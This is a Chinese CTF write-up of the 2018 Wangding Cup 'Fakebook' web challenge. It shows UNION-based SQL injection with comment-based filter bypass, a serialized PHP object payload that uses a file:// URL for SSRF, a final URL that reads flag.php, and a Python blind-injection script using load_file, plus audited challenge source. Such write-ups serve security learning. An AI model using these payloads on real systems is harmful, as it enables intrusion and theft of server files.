[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

简介

原题复现：

考察知识点:SSRF、反序列化、SQL注入

线上平台:https://buuoj.cn（北京联合大学公开的CTF平台）榆林学院内可使用信安协会内部的CTF训练平台找到此题

过程

[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

分析了整体结构点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面 jion添加的信息点击进入发现了get注入点注入进去没flag 不过在data字段下发现了序列化的值

/view.php?no=1 and 1=1
/view.php?no=1 and 1=2
/view.php?no=1 order by 5
//发现过滤了union select 使用注释绕过
/view.php?no=-1 union/**/select 1,2,3,4
/view.php?no=-1 union/**/select 1,database(),3,4
//得到数据库数据fakebook 
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
//得到表名数据:users 
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
//得到字段数据:no,username,passwd,data
/view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
//得到data字段下数据:O:8:"UserInfo":3:{s:4:"name";s:7:"xiaohua";s:3:"age";i:12;s:4:"blog";s:9:"baidu.com";}

到这里没思路了因为我用的扫描器都没扫出什么最后看wp才知道 robots.txt里面有东西(常识啊！！！还是太懒。。。主要靠工具了。。)

[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

下载源码查看

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

}

根据源码构造序列化

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$a = new UserInfo();
$a->name = 'admin888';
$a->age = 12;
$a->blog = 'file:///var/www/html/user.php';
echo serialize($a);
?>

O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}

在测试的时候我们发现这里有个反序列化看WP可以通过这个为止将我们的序列化传进去系统将会进行反序列化之后我们传入的blog值将会被传递到页面ifram里面这样就造成SSRF攻击！得到我们想要的页面我们可以传入flag的页面拿到flag

[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

最终payload:

http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

查看源码获得flag

[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

非预期解决方法

还是看wp的

因为没过滤load_file sql load_file读取。。。。。。。

脚本、

import requests

url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
        response = requests.get(url + payload)
        if 'www.123.com' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

程序代码审计

index.php页面

<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php

$flag = "FLAG{flag is in your mind}";

$db = new DB();
$user = new UserInfo();

?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Fakebook</title>

    <?php include 'bootstrap.php'; ?>

</head>
<body>
<div class="container">
    <h1>the Fakebook</h1>
    <?php

    if (!isset($_SESSION['username'])) {
        $message = "<div class='row'>";
        $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
        $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
        $message .= "</div>";

        echo $message;
    }


    ?>
    <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p>

    <table class="table">
        <tr>
            <th>#</th>
            <th>username</th>
            <th>age</th>
            <th>blog</th>
        </tr>
        <?php

        foreach ($db->getAllUsers() as $user)  //调用db里面的方法 getAllUsers()  
        {
            $data = unserialize($user['data']);  

            echo "<tr>";
            echo "<td>{$user['no']}</td>";
            echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
            echo "<td>{$data->age}</td>";
            echo "<td>{$data->blog}</td>";
            echo "</tr>\n";
        }

        ?>
    </table>
</div>

View Code